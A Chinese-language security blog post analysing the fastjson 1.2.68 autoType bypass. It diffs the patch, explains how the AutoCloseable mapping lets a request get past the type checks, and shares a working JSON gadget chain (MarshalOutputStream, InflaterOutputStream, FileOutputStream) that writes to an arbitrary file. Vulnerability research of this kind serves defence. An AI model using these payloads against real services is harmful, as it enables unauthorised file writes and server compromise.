fastjson 1.2.68 反序列化漏洞 gadgets 挖掘笔记

发表于 2020 年 6 月 12 日

以此祭奠找 gadgets 逝去的青春, orz

漏洞原因

既然已经出了补丁, 首先 diff 一下新版本与旧版本的差别, 这里因为 fastjson 会更新旧版本, 自然优先去 diff 旧版本的 sec 更新. 而不是去看 git log, 这样可以节省点时间, 因为 sec 更新只包含漏洞修补, 没有 feature 的更新.

这里挑了 1.2.48 版本:
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48.sec09/
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48.sec10/

 1$ diff 1.2.48-sec09/com/alibaba/fastjson/parser/ParserConfig.java  1.2.48-sec10/com/alibaba/fastjson/parser/ParserConfig.java
 271a72
 3>     public static final String    SAFE_MODE_PROPERTY        = "fastjson.parser.safeMode";
 475a77
 5>     public static  final boolean  SAFE_MODE;
 687a90,93
 7>             String property = IOUtils.getStringProperty(SAFE_MODE_PROPERTY);
 8>             SAFE_MODE = "true".equals(property);
 9>         }
10>         {
11185a192
12>     private boolean                                         safeMode               = SAFE_MODE;
13214a222,224
14>                 0xD54B91CC77B239EDL,
15>                 0xD59EE91F0B09EA01L,
16>                 0xD8CA3D595E982BACL,
17244a255
18>                 0x1CD6F11C6A358BB7L,
19273a285
20>                 0x535E552D6F9700C1L,
21291c303,305
22<                 0x7AA7EE3627A19CF3L
23---
24>                 0x7AA7EE3627A19CF3L,
25>                 0x7ED9311D28BF1A65L,
26>                 0x7ED9481D28BF417AL
27497a512,519
28>     public boolean isSafeMode() {
29>         return safeMode;
30>     }
31> 
32>     public void setSafeMode(boolean safeMode) {
33>         this.safeMode = safeMode;
34>     }
35> 
361033a1056,1059
37>         if (this.safeMode) {
38>             throw new JSONException("safeMode not support autoType : " + typeName);
39>         }
40> 
411038,1045c1064,1075
42<             if (expectClass == Object.class
43<                     || expectClass == Serializable.class
44<                     || expectClass == Cloneable.class
45<                     || expectClass == Closeable.class
46<                     || expectClass == EventListener.class
47<                     || expectClass == Iterable.class
48<                     || expectClass == Collection.class
49<                     ) {
50---
51>             long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
52>             if (expectHash == 0x90a25f5baa21529eL
53>                     || expectHash == 0x2d10a5801b9d6136L
54>                     || expectHash == 0xaf586a571e302c6bL
55>                     || expectHash == 0xed007300a7b227c6L
56>                     || expectHash == 0x295c4605fd1eaa95L
57>                     || expectHash == 0x47ef269aadc650b4L
58>                     || expectHash == 0x6439c4dff712ae8bL
59>                     || expectHash == 0xe3dd9875a2dc5283L
60>                     || expectHash == 0xe2a8ddba03e69e0dL
61>                     || expectHash == 0xd734ceb4c3e9d1daL
62>             ) {

明显看到 expectClass 的判断出了变化, 甚至加了层 hash, 有种此地无银三百两的味道 233.
这里修改下 fastjson-blacklist, 改成用 TypeUtils.fnv1a_64 来计算 hash, 可以得到新增了三个类型的判断, java.lang.AutoCloseable, java.lang.Readable, java.lang.Runnable.

这里稍微跟了下程序, 发现 expectClass 的作用其实相当于一个临时白名单, 这里有两个特性:

  1. 比如有个
 1public interface Face {
 2
 3}
 4
 5public class Test implements Face {
 6    String aaa;
 7
 8    public void setAaa(String aaa) {
 9        this.aaa = aaa;
10    }
11}
12
13public class Test2 {
14    Face test;
15
16    public void setTest(Face test) {
17        this.test = test;
18    }
19}

那么通过 JSON.parseObject("{\"test\":{\"@type\": \"Test\", \"aaa\": \"zz\"}}", Test2.class); 是可以反序列化的, fastjson 会对当前反序列化类的 field 的类型作为 type 传进 JavaBeanDeserializer.deserialze. 最后成为 expectClass 代入 checkAutoType 中, 如果 @type 指定的类是 expectClass 的子类, 就可以在黑名单不禁止的情况下通过检查, 这样就可以为 interface 制定类.

  1. 还有一个特性, 那就是会直接为 field 创建 JavaBeanDeserializer, 这个更强一些, 无视黑名单以及白名单, 但是前提有一个类的 field (或者 setter) 使用了才行. 比如:
1public static class Test2 {
2    java.lang.Thread test;
3
4    public void setTest(java.lang.Thread test) {
5        this.test = test;
6    }
7}

JSON.parseObject("{\"test\":{\"@type\":\"java.lang.Thread\"}}", Test2.class); 会直接将 Thread 反序列化, 无视了黑名单 (实际上直接绕过了 checkAutoType, SafeMode 下依然可以反序列化), 但这个明显鸡肋很多, 毕竟那些危险类一般情况下都是没用的. 没人会作为 filed 来使用.

这次漏洞也是因为特性 1 的原因. 但还有一个原因才能导致漏洞, 那就是 AutoCloseable 是在内置的反序列化 classMappings 中的, 没错, 就是之前缓存绕过 autoType 的那个 mapping. 所以导致了 AutoCloseable 是能直接被反序列化的, 这里可以根据特性一, 构造

1{
2    "@type": "java.lang.AutoCloseable",
3    "@type": "java.io.FileOutputStream",
4    "file": "/tmp/asdasd",
5    "append": true
6}

这样可以直接绕过 autoType 的检查, 得到 java.io.FileOutputStream, 此处是直接用 "@type": "java.lang.AutoCloseable" 构造出了 JavaBeanDeserializer, 而不是跟上面的例子一样通过 filed 的方式. 相信看到这里, 就已经有想法了, 可以通过 AutoCloseable 的子类来完成相关的攻击.

漏洞修复

修复方式从上面的 diff 中可以看出是在原来的基础上加了几个, 实际上可以看到原来本身就是有防御的, 因为有些内置类是以 Object 作为 setter, 构造函数的参数类型的, 如果不 ban 掉, 就可以直接反序列化任意类了. 这次的漏洞更像是某种意义上的黑名单被绕过, 不过可以看到 AutoCloseable 是 Closeble 的父类, 不知道为什么会在 Closeble 已经被 ban 掉的情况下忘记添加 AutoCloseable, 可能是忘记了? 233

漏洞利用

这里分享一条我找到的不需要三方库的链, 注意虽然不需要三方库, 但只能在 openjdk >= 11 下利用, 因为只有这些版本没去掉符号信息. fastjson 在类没有无参数构造函数时, 如果其他构造函数是有符号信息的话也是可以调用的, 所以可以多利用一些内部类, 但是 openjdk 8, 包括 oracle jdk 都是不带这些信息的, 导致无法反序列化, 自然也就无法利用. 所以相对比较鸡肋, 仅供学习. orz

 1{
 2    "@type": "java.lang.AutoCloseable",
 3    "@type": "sun.rmi.server.MarshalOutputStream",
 4    "out": {
 5        "@type": "java.util.zip.InflaterOutputStream",
 6        "out": {
 7           "@type": "java.io.FileOutputStream",
 8           "file": "/tmp/asdasd",
 9           "append": true
10        },
11        "infl": {
12           "input": {
13               "array": "eJxLLE5JTCkGAAh5AnE=",
14               "limit": 14
15           }
16        },
17        "bufLen": "100"
18    },
19    "protocolVersion": 1
20}

大致思路是从上面已经写出来的 FileOutputStream 开始, 找到一个能往里面指定写入内容的类, 这里要一次传入两个参数, 所以只能通过构造函数或者两个 setter 来设置, 比较尴尬的是没有找到可以直接触发的, 还需要再调用一次 write/close/flush 才能真正写入内容, 最后又找到了 sun.rmi.server.MarshalOutputStream, 可以写入不可控内容, 才真正完成 exp.

这里可以通过反射来暴力搜索函数相关参数, 加快搜索过程, 但也是很麻烦的 orz